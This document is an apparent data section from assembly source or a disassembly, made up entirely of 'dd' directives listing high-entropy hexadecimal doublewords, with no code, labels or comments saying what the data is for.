dd 1BE74939h, 2908D625h, 0F2F15870h, 4387DBEEh, 75665C9Dh
dd 72BFB62Dh, 0B148800Dh, 0C6D05AA9h, 0DD186A2Ah, 98D289C7h
dd 0CDFDA1E9h, 42656CE6h, 440E29ADh, 37FD5051h, 572B9A0Bh
dd 0F233F687h, 178D62A7h, 3DFDFD1Eh, 822E7FBAh, 4D5C4964h
dd 0D31DED74h, 0AF0148Eh, 0B5532C4Dh, 0E373AD97h, 720E1453h
dd 2AEF2BDFh, 0F926C6B2h, 0D3ED3750h, 0B0C23A99h, 82037502h
dd 0E3250943h, 4B8DDA46h, 40581EDDh, 0B5045712h, 0D5B427B3h
dd 18C95C52h, 3CC20766h, 0CFF84CC1h, 0EDF15491h, 98EC2F60h
dd 0A75ED99Eh, 0D08249A8h, 0C74F6405h, 4D4BCF70h, 15B28A02h
dd 0A444A4F7h, 221E2C1Ch, 2C4A20D4h, 0F79E89FBh, 0C9F8C193h
dd 3CC5C8ADh, 0B2B2857Ah, 8C9F5E95h, 3FC08C65h, 0C0004834h
dd 0E89EC83h, 9F7FB1A9h, 9C08E045h, 0F3CE0DC4h, 0C1664BAEh
dd 0E5A0F72Fh, 0BEE25416h, 0C8C9664Dh, 0A1FD0073h, 580626B6h
dd 4F123C36h, 0B0711864h, 0D66A6681h, 999EE6C2h, 7C5786A6h
dd 2F3D36B8h, 7DD3A28Fh, 2023B458h, 83654213h, 0A5BE1C76h
dd 4E3568EEh, 4E063FDDh, 0B77F4DC4h, 5DEB9856h, 3128FD97h
dd 0B9A07227h, 0AC73FA5Dh, 25BB50C7h, 0CB7C02E6h, 0A3F4C948h
dd 0FA7F5542h, 0CB53EB0Dh, 6492E734h, 614587E8h, 0BC55F037h
dd 0ADE12E25h, 0F2CFD7Fh, 0A259FF08h, 62A5D945h, 0B62E9BA9h
dd 1E86D3B2h, 4B93D01Eh, 0C650E55Fh, 6C8D2C5Fh, 1983DB4Ah
dd 0B52BFD5Ah, 268F8973h, 6B851551h, 42D96ABFh, 35202EFh
dd 35F53959h, 0A43CD908h, 0E910779Ch, 37CEB78Dh, 0D4B28B8Bh
dd 0F9B6AA7h, 1646C2A4h, 77809D85h, 0A511B837h, 5545138Dh
dd 8EC0B8Fh, 45F6A2DDh, 0C41427E0h, 375B3E87h, 0B0E75700h
dd 0B4376D19h, 847CD790h, 32871A7h, 8266F304h, 6919A5Ah
dd 0AB57999Ah, 5FD6DB34h, 0CE14E5BEh, 7355EDFBh, 0B2B5AED9h
dd 8E089DCBh, 0E9B66C6h, 0C2CE77CFh, 0FFB1EB74h, 4622FD92h
dd 0E6D756EAh, 41F62A9Ch, 0E886EEADh, 8ED36053h, 99EE3FABh
dd 231E7E5Eh, 0B8FD54E3h, 292B1006h, 3DAC41B0h, 2C38F664h
dd 0AECA18EFh, 0EE80A052h, 0CBA43935h, 65C0F533h, 13711BE7h
dd 85CA6C5Fh, 0A4B61C8Eh, 32C9AD72h, 8A9E5D59h, 8C7FD6F3h
dd 0D0D5749Ah, 0F0079DC4h, 0BDC8219h, 8A02D763h, 750146CBh
dd 540940A7h, 0CDF04517h, 81E74F5Eh, 0CB4DDB1Dh, 0AC95A945h
dd 0B26115B6h, 7F78C545h, 0BCF5C12Eh, 0F0DD4463h, 0DA3D2DA5h
dd 0E024E1DEh, 0D6AAB0BFh, 2C61D589h, 0D540E1F4h, 6AECAAD9h
dd 0A7C0C0D8h, 7F14967Bh, 0C0131290h, 3D9F8BB5h, 537B95E0h
dd 5839778h, 4957B4F1h, 1668C06Ch, 50090755h, 9A1E96B1h
dd 0B9A438CCh, 66CCED1Fh, 0DFEFC349h, 646E541Fh, 34A56C91h
dd 0FBF546D3h, 0C9852CF0h, 0E24F1F35h, 0E5EA6F8Fh, 5A6804C4h
dd 0A7E16B32h, 0E334924Ah, 0F9F771F5h, 0C44BFE49h, 0E216BC89h
dd 78B98775h, 736EE595h, 4329054Bh, 0BD9D6BEFh, 0DE15255Ch
dd 89F2DFD2h, 25AA4C41h, 0B5BB3E4Eh, 0C5E9593Ch, 26255EB5h
dd 0ACBD90D8h, 0CBA43D27h, 204D9EA3h, 0E1E796D0h, 1BC32894h
dd 96A65931h, 5FC86790h, 0D245033Ch, 2B6C710Dh, 5E2FF97Eh
dd 0C5891AC6h, 6BACBCBh, 8DF59510h, 9C484E0Eh, 0CAEF4AE2h
dd 489861A5h, 0D1A2C6Ah, 1C7923E2h, 92033D5Ah, 0DE8090D8h
dd 0AFE9C5D6h, 6D2F87CBh, 0C87AC012h, 0D1DD2C3Ch, 0D6E20073h
dd 229F89D3h, 34BEEF4h, 26D10DF7h, 3E98BDD9h, 1DDB98A8h
dd 8BBF12BEh, 5501C099h, 0B1454F16h, 7EEBC6D8h, 6A30BB9Fh
dd 0B9903C74h, 703CCA32h, 3C48DCC5h, 0F0312DD7h, 8EAC8A0Eh
dd 7AF6CE18h, 0B3EA3F87h, 30EA23E3h, 0AAECF496h, 0B8E10920h
dd 9ABD102Ch, 849EDB7Bh, 3BA2B6Fh, 499414F0h, 0E6B51770h
dd 6FB879BAh, 83726EEh, 0B492F758h, 0A22C9FE3h, 0AA68A00h
dd 0AAD58A9Eh, 79D139D0h, 0EEA9210h, 0F8EDBD8Dh, 707A2197h
dd 0A320EE06h, 0D46CF702h, 0D5F2ED3Fh, 50E232F7h, 68EC8FD9h
dd 486EB8CDh, 792EFE5Dh, 169758CFh, 43CF7139h, 0D2A7DC8Ah
dd 0B2CC7DDFh, 2A9EE7EDh, 0C6AF1694h, 0BBE468ECh, 9FB18393h
dd 39AAB093h, 852576E8h, 6149C5C8h, 0C45BAECBh, 7C0C6EA3h
dd 94DF920h, 55BF791Eh, 9642DC24h, 1BF3D8AEh, 0D1E75DCAh
dd 0E1FFA2AFh, 43FF6232h, 0B30649DAh, 32990656h, 0E6374871h
dd 9BB2E08Eh, 0DA46194Ch, 0BB7E3EACh, 51B9CB02h, 7916363Bh
dd 7A70B150h, 567E5136h, 8108918Dh, 1032D93Dh, 4D913926h
dd 2091953Dh, 73F269EFh, 1EF24A80h, 580AB034h, 0DF7DAD77h
dd 69B495BEh, 125E2920h, 0AD67E795h, 2EB9E2BAh, 1FFDECD7h
dd 4709FEB6h, 640C3D4Ch, 0A063DB63h, 71350729h, 0A3EA6D8Dh
dd 0BEF43503h, 0D355F947h, 0CB1CAD63h, 0DC45CA74h, 0BFB90F72h
dd 0F6C06C52h, 0B8069B65h, 48114015h, 7B02AAEEh, 4586F006h
dd 0E1A1AFC4h, 0A974EB5Bh, 0DA3A89F5h, 212DC40Fh, 0BBBDCA9Dh
dd 5457E747h, 100690AAh, 349BB75Bh, 273AC4F2h, 87371DD7h
dd 6F1527CDh, 0C59C2D5Eh, 3C5864E5h, 84A6C770h, 0EF55B032h
dd 663A102h, 21BEB8B7h, 1F15869h, 6C3CCCB2h, 909BB384h
dd 8D1025FDh, 4FDE1070h, 1840D5E3h, 0A757365Eh, 40E54956h
dd 7005C0F4h, 5F9949B0h, 2F274270h, 213D4711h, 0DAA864ADh
dd 0C8421D00h, 64122EDCh, 99C5CD58h, 868EB5F9h, 7A57A18Fh
dd 0DFCE23B9h, 81081E42h, 0D7DCC468h, 0C88E4C8Fh, 14BEC3AFh
dd 5115FC2h, 287A610Ch
dd 44276DC5h, 8504C566h, 34AC096Eh, 0C4E165EFh, 6A98196Ch
dd 69145B75h, 0D3DE414h, 88291B7Fh, 962EE54Ch, 0A28513D8h
dd 0AB306F20h, 0FE76AB76h, 0CB3E3F2Fh, 0AB837BA9h, 235760ECh
dd 716F412Dh, 0A70154EDh, 93CF9CDFh, 0A20D0D9Ah, 0C4E99B3Dh
dd 2D80A7CEh, 0C3AC5F58h, 6F2D441Ah, 23E928EFh, 0A7028CD5h
dd 0A9995113h, 0CBB4298Bh, 4BCA3D3Eh, 37ADFCF0h, 0B184AE39h
dd 31A3D689h, 0A2C8AA13h, 4FE31BD8h, 0AEEC67BCh, 9C2A5C68h
dd 0C92D76CFh, 0F42196E9h, 0F0256E79h, 1CFAC4A7h, 0EAFB8898h
dd 960145DBh, 0EFD958F0h, 78F958EFh, 4E11D2B9h, 0C100ED28h
dd 7C11AA2Fh, 0BC64ACC0h, 7DB52C00h, 0F4829DD9h, 43862873h
dd 686A5407h, 706E6E51h, 51102563h, 61F5EE03h, 9E9FA053h
dd 0BE67FEBCh, 7A565014h, 7E141D02h, 2DE754C9h, 0C78AB1B4h
dd 41D7AD72h, 1FB6CC6Fh, 239D2948h, 105F384Fh, 0B427721Dh
dd 0E52BC456h, 4CEFCF7Eh, 0D9617AA2h, 97A78DEEh, 0D55F84ACh
dd 5869676Bh, 7A4B1C7Bh, 0AC3852EFh, 4F73EB2Ch, 3EB6A47h
dd 0AF4C117Ah, 864DAF83h, 0A1738A4Ch, 1B53A957h, 0C3EDDA78h
dd 50AE2591h, 6D441046h, 0C16F8875h, 6B387C12h, 8D88DAFFh
dd 53397BF9h, 0D7A9C73Ah, 0F8BDF34h, 5B7D31C2h, 0D568269Dh
dd 0CB4911E8h, 289142A3h, 0D306790Dh, 0A9FE595h, 0F03C5CF6h
dd 53CEA7CEh, 3B594FE9h, 3694EEC4h, 693EA411h, 5281833Ch
dd 0F0558AE1h, 87A495F3h, 9C9AB87Dh, 0B1E0387Eh, 6709D521h
dd 78AE379Ch, 0F98B46Bh, 122F6522h, 3FFC9813h, 511DC5D1h
dd 4D264935h, 5A7F2AF4h, 0FE2CA338h, 0AADF5489h, 0F1174FF2h
dd 6B9AAF7Fh, 51249009h, 7BEB2C01h, 1F2FB433h, 7C8E5E21h
dd 8D3BD6BBh, 3535ABEAh, 8FE4443Eh, 0FFA2D2B8h, 48D71A83h
dd 0E37E4B6Eh, 0F356135Bh, 0E8EBF514h, 3CBFFF96h, 0EEB44457h
dd 0C37F5F36h, 6FE68653h, 4D987017h, 22DD07D3h, 0DEBDCB16h
dd 0D15A4C27h, 0D72E2A99h, 0E27760DBh, 0E44ACFEFh, 0B8ADB632h
dd 0E4CCC2B7h, 0A23FE85h, 4D57F647h, 246FEA77h, 0BFC58EE5h
dd 35549B03h, 0C3416F98h, 4EC5DF91h, 0E29BD385h, 7F200BFAh
dd 0C362D8AFh, 0E34DED1Bh, 2C4C1AD1h, 2FE2138Dh, 20F54A65h
dd 0A8B65AC7h, 0D8ED6ED6h, 0B7E48B9Eh, 0E23EA760h, 7365701h
dd 0F8002C15h, 3C5F9839h, 0EBD56421h, 4A6414Bh, 0BE11C64Bh
dd 7372C5ECh, 787EB9EDh, 85586C6Eh, 3100447Ah, 8A29478Fh
dd 0A205003Bh, 93CCC368h, 33DF103Ch, 3A5145D1h, 5D54D5BEh
dd 0BDF83FB4h, 4C4353Ch, 3FE51B01h, 0B212CCFAh, 4BC6A2DFh
dd 5BE68E04h, 0A4632739h, 57D1B4FCh, 6DFFB6C1h, 84A9F845h
dd 0BC111C8Dh, 81073FB1h, 31F5AA1h, 0BE0D9B56h, 9EFD1276h
dd 0FD78EC88h, 8772310h, 605F7AE5h, 30DBC4D9h, 2CECA5B1h
dd 21D78A3h, 9D216B99h, 0EC8BA17Ch, 0DBEDEC96h, 0B987D82Ah
dd 0C11A6E6Fh, 615BA85Eh, 43A8EF24h, 0B0DFCEFDh, 846F6E7Eh
dd 6A1A9551h, 0C31E78EAh, 0A1B4C171h, 0BFE2FD66h, 6140D8DEh
dd 32471435h, 602A1CAAh, 72F18054h, 2F17878Bh, 0B7B73EC7h
dd 7BCA94E0h, 53D5E6F1h, 0EA120242h, 0DE4A9398h, 0BB4926DBh
dd 0C7A88631h, 481C9F88h, 5574B8A7h, 0AD446DCAh, 3F15C4C1h
dd 24BFDBA9h, 3CD56456h, 2B3388B5h, 0BB557BF3h, 0A36016F2h
dd 0F4C0843Ch, 354F5711h, 383C41C4h, 127FA379h, 0A0933F10h
dd 7E964DA8h, 0DEB4EF28h, 65C9D5C3h, 0F85DD53Fh, 27377EE9h
dd 4815809h, 3B13F48Ch, 0B4E6C9FAh, 831DB200h, 8F6A7500h
dd 0E1035552h, 1502FB83h, 7009DB80h, 7AA2AB71h, 0CBDA5F72h
dd 7EC7BA02h, 75CDB1h, 452C58F8h, 9BFD40DCh, 330898B8h
dd 0E70E6EEEh, 73CDF9B6h, 0F6615D04h, 7DDB8F03h, 0B3E25498h
dd 400FC8B1h, 601E5E2Eh, 0E3C23F14h, 0BA7F9028h, 22DE2CE6h
dd 0FB706013h, 70AF1761h, 4AA52C42h, 4EB4A6F7h, 0BCEA7E4Eh
dd 0BA6389C6h, 55B7D5BCh, 4EFC32E7h, 95261F51h, 0C09E3DEEh
dd 76AFDF5Ah, 46D2696Bh, 0A63D678Dh, 793CB44Bh, 0A88C9798h
dd 86611F95h, 0D20F3ED1h, 0BEB59A95h, 0C348BCA7h, 36DED57h
dd 0B6C574BBh, 64325766h, 0FA4AABFBh, 80B2F7Ch, 0AC60FF01h
dd 93D56557h, 965D04E7h, 5455BB8Fh, 0F7AD857Ch, 0BF54CC48h
dd 0CD1BB867h, 57F71A4Ch, 9B4B85h, 28545B76h, 0D0611DEDh
dd 0C886F9A5h, 64E7E95Ch, 0C1D151BCh, 5B622ABDh, 716620A1h
dd 1A6CBC94h, 0C5458FF6h, 98404491h, 53F9D8F9h, 931E359Dh
dd 7DD68829h, 0F2B480FAh, 0EA293CCh, 353D94E9h, 501B15C6h
dd 0D1AEB0F5h, 480F0830h, 178A2012h, 87CB644Ah, 116B41F5h
dd 0D86BE45Dh, 87C22396h, 27E1BD52h, 36FA862Ch, 0DC6094C0h
dd 878A7A6Ch, 4A4CA269h, 0C794EBF9h, 16FA7EADh, 80CBA85Eh
dd 54E0EF24h, 0ACDC77FFh, 3754E593h, 0BBFBA3C5h, 43692E16h
dd 3D670A58h, 51805FA9h, 861CF3ACh, 67E03863h, 0B0BEF5DFh
dd 370B6FD2h, 2A802DFAh, 2CB6D25Bh, 2AFA69AFh, 4351B59Eh
dd 2A7336E5h, 0CB5925Dh, 0AB493AA6h, 0E40B7235h, 0CB415E0Eh
dd 99344017h, 0DDBEEEE0h, 0D6B581CEh, 115F9720h, 0B7D5249Bh
dd 0FE4062EFh, 0A505A156h, 415B47F6h, 0C284CEEEh, 4785686Ah
dd 0C4A68D33h, 0B39EA7C4h, 0AECDD27Eh, 0F98E117h, 2AED4238h
dd 63C4D5D1h, 0D6DDED57h, 0C866910Fh, 41CAE9B7h, 0AED82F78h
dd 620918F5h, 0A81C8F4Dh, 0D544888Dh, 643B96BFh, 1F42822Dh
dd 4B5CD03h, 65E314B6h, 877DABD2h, 0D573D5A7h, 16126ABh
dd 0AD92EE2Ch, 23B94FA1h, 300DED89h, 83EEE13h, 0D8C73C8Dh
dd 5DDB2B49h, 0BB28C72Ch, 57E2A225h, 9BEAB1ECh, 0B6950ECEh
dd 0E6E86745h, 35BACB7Dh, 99B5A81Eh, 1618D050h, 0FA9AFB5Fh
dd 0B4259248h, 57197074h, 347C8233h, 0B363E29Fh, 0CA24150Eh
dd 0FF8CCFE5h, 9EFD2C00h, 8EF8209Ah, 0F4D655Eh, 7274F897h
dd 2F3B9EC1h, 0B1BAAB47h, 6EF45AA1h, 241F285Eh, 0C2C71377h
dd 344B9AAAh, 4B0C45A6h, 9A363A54h, 0C68632AEh, 71B77D19h
dd 1E4A4906h, 3843984Fh, 4941BC5h, 0FE126D92h, 77B270FBh
dd 8952A67Fh, 56CC59BEh, 0F70A57CEh, 0D395216Fh, 22453816h
dd 6651AE6Ah, 73BC2C0Ah, 0A16AD2A5h, 4497896Bh, 0B2FB58A5h
dd 0AA17D8C8h, 9DA9EB23h, 0DC6062B1h, 0C7908FC9h, 0A0FA1CFAh
dd 0E9CC0841h, 0C1CA0ECFh, 0EF8C16D9h, 0C742089Dh, 0F057023Fh
dd 0D1D0A715h, 0B2785A09h, 857705EEh, 25062018h, 0CADEE05Dh
dd 0E0F5CB8Dh, 0E973F83Fh, 18FE00ECh, 19A46C6Eh, 271578Ah
dd 266C0B0Fh, 0DC385729h, 88EE29B5h, 26DBD4F0h, 1329B965h
dd 98876E61h, 0CD531BCEh, 5F9F1C86h, 418CEF70h, 0E0AFD7F1h
dd 0F5DCF378h, 87770208h, 2BB129B2h, 9C639FFFh, 9EAB33B8h
dd 34EFE3ACh, 0EA9B8D32h, 0B20AA447h, 49FC25C2h, 0EAF95604h
dd 0DCEC6F4Fh, 0A03FFF2Fh, 0E2EEA8DBh, 0EB545AFAh, 9BE27DB6h
dd 0E3A39BA8h, 989599F4h, 0CACDE40Eh, 8FB348ECh, 9A8C047Fh
dd 0F411E448h, 0BCD5F4A5h, 4414AB9Eh, 2209D9A0h, 5FC0A27Ah
dd 0F82D94D9h, 8E14CE99h, 87CCEDDFh, 0E4CD0014h, 46255B58h
dd 7291AD3Bh, 7894F86Eh, 5512F0A5h, 0A89469AFh, 0C8B847EBh
dd 6EE901FAh, 15D51A69h, 8B1B957Bh, 0E1A09BF2h, 0DA4C8602h
dd 8C9F9019h, 66FB9C05h, 1F66D5D3h, 0F2BBDC3Fh, 0C9D45F35h
dd 2616B75h, 0D98AD123h, 835062Ch, 0CAD2935Bh, 1CAC5BDCh
dd 35085DAAh, 0BB714ED0h
dd 432F8121h, 11DBAFF5h, 8925137h, 0D0C4D5A9h, 2B01F171h
dd 0F6166706h, 5CB6F78Bh, 45529877h, 5AAA7D71h, 4334F4C0h
dd 15B16453h, 90101B33h, 0BA1CF237h, 0B3A9F57Dh, 0F76B7ADAh
dd 0F5162174h, 1F356247h, 6AE97F4Fh, 0E5D7F7EEh, 0B48AF3DCh
dd 1F48EBC3h, 7EAD9C8Dh, 0C33595AFh, 272FF99Bh, 246FD965h
dd 7AB9EF42h, 40A79769h, 0FBC08EB2h, 0F3A6323h, 0C05C4DC9h
dd 27D10921h, 5926B3EFh, 7503DB2h, 4CB40806h, 14DA497Ah
dd 91DAB317h, 58AFC9B3h, 0ECAF88EAh, 0A6516C34h, 0A408F86Fh
dd 0D8E059B5h, 7D7422EAh, 0CB11AFC8h, 6A917C2Fh, 0CEFA9D6Ch
dd 452ADC89h, 4F2FD87Eh, 0F22D05AFh, 11363F59h, 77EF0E8Ch
dd 0B171D73Ah, 0FE426800h, 1C97D86Ch, 0EF225250h, 977F089Dh
dd 0F3B05466h, 0E56F3B55h, 0FF06F489h, 0B2E9D3D7h, 837874A7h
dd 3CD92DAAh, 0E82B32D3h, 7620717Ch, 0F37B3090h, 0B46B0A82h
dd 0E608A199h, 4965C0ADh, 2D859D94h, 9620C5BCh, 0FFCBD48Ah
dd 9851AE5Bh, 174A1B9Ah, 8B6A667Fh, 0AF5CF88Ch, 0E1F0FF06h
dd 965F56FBh, 0FEF4F379h, 0E9FF06CEh, 8EBEA929h, 207C8B3h
dd 0F99CDA6Eh, 605CEC50h, 0BC862935h, 3486D96Bh, 459E9AABh
dd 2A16BA3Ah, 35954CFBh, 0B15F7FE3h, 4473BC22h, 96C7F465h
dd 0DBBE1EEBh, 0FBF64778h, 98624F86h, 23142201h, 1B4F337Bh
dd 0BBC5578Ch, 1F15B7D8h, 5EE5F183h, 2C9E6037h, 4F9E821Ah
dd 4955493Fh, 0BCA72C5Dh, 0B9914763h, 2E4CA430h, 0C9A54999h
dd 9582AF66h, 0AC7420B0h, 1AAC30D2h, 52481793h, 0F0C13EC2h
dd 0D9DF2DF8h, 0EFE251EBh, 2B4D290Dh, 0DAB0D484h, 3924E0AAh
dd 0D7C67476h, 0DBD9BD04h, 20B317D9h, 0E3D2BC54h, 0C0975FFh
dd 8C129C08h, 3D28D066h, 0CB88D97Ah, 0C6793C11h, 4524FDEh
dd 702E13D6h, 0BD1C8338h, 70F2295Ah, 0D1AE45EDh, 6B2BA636h
dd 0E86C9C78h, 72222B0h, 0A7ECFBB4h, 0E35EDCCAh, 643E8ABFh
dd 0CD1F1B00h, 84FA954h, 979214CDh, 99EC031Eh, 745D5D90h
dd 0CA5A3CF0h, 75891F71h, 1364A35Eh, 0F8DA6872h, 24F0B7EFh
dd 1B8BED26h, 0B137D2D1h, 0FF795147h, 0A04048D2h, 6B883306h
dd 8B5523F3h, 0A8F2BF6Fh, 0D26FF056h, 9AC1E47Bh, 0CBBFFA44h
dd 0EEC19464h, 3F2B470Bh, 0FB01DA06h, 4200A5ECh, 7D27DE07h
dd 6FFBEBBCh, 6124314Ch, 0AB397B22h, 0FF045647h, 3CCBAA00h
dd 0AB611F5Fh, 535847BFh, 0E4F8F5A8h, 0C4CCCEE5h, 0BE6BA7CFh
dd 7B09F96Ch, 3D99647Ah, 504BE8ACh, 0BB3D1059h, 6058D0EDh
dd 0AAA9A717h, 6EE6CE58h, 47DC4D8Ch, 13C1FCBFh, 13598752h
dd 396938Bh, 95D0E09Ch, 1EB301D6h, 3CC32D7Eh, 83BC746Ch
dd 3B84D514h, 5C0EBF72h, 45AA4951h, 9C30A37Ah, 0A5F56B84h
dd 0F7CCC744h, 9F876C18h, 9C292559h, 0E5CFC7DAh, 4C139133h
dd 0D61EE401h, 3E45D55h, 318ED7C3h, 1AF948C7h, 620ABF94h
dd 665FE538h, 0C0B99D85h, 4D952FDEh, 3DD09892h, 8195FE0Ch
dd 7EF238B1h, 0D94BE7E9h, 7D3A0FFDh, 0CE3787AFh, 9EC0E016h
dd 4D962262h, 38C6C1D4h, 9F3EFE9h, 4A1DFFF6h, 0EC1F2A2Bh
dd 0ACF52444h, 5090036Fh, 0A77856C9h, 1B96C138h, 26F6DF02h
dd 56E20D44h, 8EFB5FBBh, 0D8F5D689h, 57429D73h, 7A9CC87Fh
dd 0D91B12CBh, 23DA1FB9h, 9598AC6h, 0A510C1BDh, 98742B5Eh
dd 263CFB30h, 43701779h, 0D039B9B9h, 0DABCAF10h, 0D4CC6103h
dd 0BC6739A7h, 0CAE34228h, 35C1D5D2h, 0B2CD5436h, 15E922AEh
dd 2B0FB7F4h, 0ACD5C428h, 0FA776D79h, 5BFA3202h, 55381381h
dd 28B1EC8Ch, 95B8B9FBh, 4C8200Fh, 8F21D853h, 359CE506h
dd 510445DFh, 8370BD98h, 3CD9DFA5h, 9C3365D5h, 5E49C7DEh
dd 0FDF84F10h, 332181B0h, 0CBAD29BFh, 8BFC3F2Ch, 166905C5h
dd 0EFB7F8F8h, 0BD954F78h, 9296603h, 19A10B61h, 0E3632697h
dd 0D249169h, 81A164B9h, 7C71EAFAh, 0C0D73BFFh, 2A797E4Dh
dd 0D4D56D6Ah, 0BAD3629Ah, 46860343h, 5BAE1453h, 0A12B5B01h
dd 0E796E38Bh, 44566C77h, 0F7F167DBh, 0C35277A7h, 0C7BFC56Bh
dd 0DAF9DC07h, 90D40352h, 0DF47BF9Ch, 6A127C30h, 0E9AACFCFh
dd 0C8945059h, 2DD6EB96h, 0B7AF76B7h, 7751D30Dh, 2C987426h
dd 3F80A058h, 8BDA5A76h, 0E810C327h, 33424CA6h, 72C6AB20h
dd 0CE90A8CEh, 1BB5AEECh, 0A7471B57h, 2BD1F9D4h, 8BFD7C2Ch
dd 0BA9D4023h, 686545D2h, 8630804Dh, 2950E414h, 118795CCh
dd 0AC805C52h, 0FB75B979h, 1680DCF7h, 0CE9CAD54h, 38B4404h
dd 6B58E85Bh, 950D74B4h, 43E89119h, 0BE381FF8h, 9DEEB802h
dd 1CDF82Ah, 4046B4Eh, 583B117Bh, 7CC9487Dh, 456B29C1h
dd 81FF350Fh, 0BE613841h, 0DC53A908h, 243F7FFEh, 671225F4h
dd 736E0213h, 7241E0FEh, 18F61F9Dh, 1AF56246h, 0B7EFF888h
dd 31E56651h, 39B89592h, 0C212B048h, 0C7BE754Dh, 1A6677E9h
dd 28592626h, 0C7835FE6h, 59129FABh, 0A297B6A2h, 0B3669057h
dd 1CAD3FD2h, 0D2545307h, 0DA3FAE01h, 2BFA78B1h, 479E5A93h
dd 2A840041h, 400B4E54h, 43C92A66h, 0AF2E59DDh, 0DA3A91D8h
dd 3F40AAA7h, 3B172EB5h, 0B341A311h, 89456422h, 0B9094A4h
dd 0DC514ADCh, 1892B69Eh, 0B6A49CE1h, 5CE8AC65h, 79B5237Ch
dd 0E20CADBCh, 179DA712h, 73BDADCCh, 0DCFF6C2Eh, 0DFD0796Ah
dd 60372997h, 0A8E1211h, 0EF60D163h, 0DAC13019h, 0CA64820Fh
dd 0BE12D384h, 56D4EB39h, 0A35CFDB8h, 0EE31F61Fh, 1EFC771Dh
dd 798E36BEh, 34115F80h, 0E7D2E65h, 6A7878DFh, 838DF86Bh
dd 45073F4h, 0DC03193Eh, 0ED1E3AA5h, 0F8974D2Ah, 9C735943h
dd 51BA2722h, 47108709h, 8BA72A7Eh, 0E7A4AC89h, 415BD61Eh
dd 9B7EA936h, 0DC8CE7ACh, 4E4D8276h, 0CBD9EBC6h, 65D16C3Dh
dd 80346D78h, 42D7F37Bh, 92734E75h, 0AD7CA7E8h, 0C45D9E12h
dd 4B35FF29h, 1E8001ECh, 5A9F5AECh, 3423084Ch, 4854ADABh
dd 2774903Ah, 32BBEA80h, 0C0FA78E4h, 1B2BD8A9h, 2A840C32h
dd 400B4E4Eh, 0F9C19E6Ah, 75BBD187h, 44AA149Bh, 1D5EAAE2h
dd 0F5B426A6h, 9A9EB3Eh, 0BA7631A7h, 0FB3B62D1h, 5C3FF822h
dd 0A15AA49Eh, 0E971AF81h, 998E5219h, 98523B6h, 0DF4B796Ch
dd 98D1AE60h, 0DAFC1D6Ch, 90D6D2A7h, 696B2D6Ah, 701455D2h
dd 89795915h, 44B65EE4h, 8524CC38h, 0A755A189h, 0BE13DD14h
dd 56D46925h, 22CE30A4h, 5D883353h, 7EC09ED4h, 40FBBEBBh
dd 0C1DFA325h, 426D2E71h, 81856F53h, 0AC0C3FE5h, 0BED406B6h
dd 63186640h, 960DAA87h, 0D9976CBFh, 0B06B3A64h, 139BC8A1h
dd 0F1648463h, 43EDF17Eh, 8637F540h, 36CE578Bh, 62FDE7B4h
dd 0DE9EDF6Ah, 299933DFh, 75BBA840h, 0DBB8EF5Bh, 2BA077F0h
dd 4F78EB7Dh, 0BCADFA0Eh, 0C67CD2E9h, 0BDDA8A1Eh, 1B0EA63h
dd 4E862C5Bh, 32241B65h, 63391493h, 0B3A94ACAh, 2E26498Bh
dd 660E5FC7h, 0C779852Dh, 0F83848B2h, 0ED885389h, 0CBB3E488h
dd 0EE8D973Bh, 136BD0DDh, 4B87A6D3h, 10B0EF3Dh, 6A8C5DDEh
dd 7F15AEBDh, 0D46731ECh, 0BA1214BBh, 51598BA5h, 20108CDAh
dd 75676351h, 0A34147E4h, 0FDF35F7Ah, 627945ACh, 20632716h
dd 0A65FAD44h, 5A3B3A41h, 1D1B7AACh, 368056C2h, 21C705C9h
dd 0AA1B442Ch, 850C99B1h, 2A9108A9h, 0BB9FD0FAh, 569BB362h
dd 0DE9BFAE8h, 8D28B519h, 684B25E7h, 795EDBBCh, 4CD7AC70h
dd 0BD725232h, 0C48EBE2Ah, 20893FF8h, 49A65E44h, 706EE7CFh
dd 86E75096h, 0BB6B6CC7h
dd 505AB59Ah, 13A7EB89h, 0AD9B949Fh, 3E258568h, 4C67F9DDh
dd 0F930B4CEh, 753C34FEh, 8A411BE9h, 0BFF22BF4h, 608414CDh
dd 57F12847h, 7D75927Ah, 0A741A51Bh, 0B8BB8184h, 908F7462h
dd 7812974h, 44354586h, 7BB0FD53h, 0B125E065h, 5A3C3DEh
dd 4C214D97h, 317EE772h, 0ECA0ACCh, 2BFA6964h, 0A7114B9Ah
dd 2A407591h, 0AD542E81h, 0AB8EEAB6h, 676BD0ADh, 0C01FBADBh
dd 0A48D2B59h, 0C6C99AC6h, 8E1ED193h, 0C898B06Bh, 0FAA11F5Eh
dd 96D2CEB7h, 9E55771Eh, 3C509451h, 0BB807F18h, 0E517A8B2h
dd 0F97D31ECh, 563603Fh, 248424C7h, 130A0E4Dh, 69D581F3h
dd 0F370BED2h, 3A1D8DF8h, 8EE821EBh, 6B4F2C76h, 21DAD78Ch
dd 27DB13E6h, 135C2D8Bh, 1A7316E3h, 0A2C54011h, 97B4EAD8h
dd 868050BBh, 8456EFF9h, 527D7EFDh, 8105BDA2h, 171601Bh
dd 5EAD7AB2h, 696ADF02h, 0B08F9046h, 0CC3EA058h, 35D2C5F1h
dd 23D217CCh, 0CB9A5451h, 0F80EE443h, 6467F906h, 1F9E1F0Ch
dd 0C47398BBh, 0A64AF7A4h, 0FCBB6A33h, 888C142Dh, 8C73185Bh
dd 76F79269h, 2FA337F7h, 7F65FF4Dh, 90BFE195h, 0F1358A74h
dd 44DF97EEh, 0B5626C53h, 0A1E5146Ah, 4C601857h, 0A06C8E90h
dd 3E01B406h, 0CCE3C12Fh, 0A83C99DBh, 0BC1BFC36h, 0D54C388Ah
dd 0D3BFD102h, 284A9033h, 0AE822EE5h, 0A1445150h, 8F564FCh
dd 8E8C11E3h, 0EF5023FDh, 0ECDDFF42h, 790940Fh, 651C010Bh
dd 6D40B589h, 0BDB494ADh, 8FCAF21h, 988F5789h, 8D8CBAF0h
dd 8B2EA7EEh, 0D84EAA2Ch, 0B91D6059h, 966B7458h, 0CBF6568Bh
dd 3A0CE654h, 434ECAEBh, 368286E1h, 43C8DF71h, 3B182CBFh
dd 56D88DFCh, 0CB6414E0h, 753A6379h, 6B24D9A7h, 91193BFBh
dd 7BAB6267h, 0FED0E9B4h, 0D8FA43CBh, 0E98E6B53h, 41D97B7Ch
dd 629AE74Dh, 7D8C4256h, 72906993h, 0AFCAF8F1h, 33A4C3F8h
dd 8D64DC7Ch, 97B4F16Dh, 2D9817E1h, 0FF169B4Ch, 0DCBC13F6h
dd 0A18A9819h, 3C2EAE58h, 8A8ED53Fh, 8539FBD0h, 8869937Eh
